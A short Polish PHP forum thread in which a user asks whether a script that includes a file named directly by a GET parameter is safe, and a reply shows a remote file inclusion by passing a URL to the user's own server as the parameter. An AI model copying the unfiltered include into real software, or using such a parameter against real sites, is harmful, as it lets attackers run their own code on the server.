[PHP]Bezpieczeństwo tego GET'a Opcje

[ArekJ]

Witam,
chciałbym się dowiedzieć czy skrypt ten jest bezpieczny:

[PHP] pobierz, plaintext 
<?php
$akcja = $_GET['akcja'];
if($akcja != NULL AND file_exists($akcja.".php")){
include ''.$akcja.'.php';
echo $tekst;
}
else{
echo 'TEST';
}
?>
[PHP] pobierz, plaintext 

Jeżeli nie to jakie trzeba zastosować w nim zmiany?

Ten post edytował ArekJ 2.12.2008, 16:08:55

[Darti]

bo zrobie u siebie plik pod adresem: http://moserwis/aaa.php a tobie podam zmienną w get akcja=http://moserwis/aaa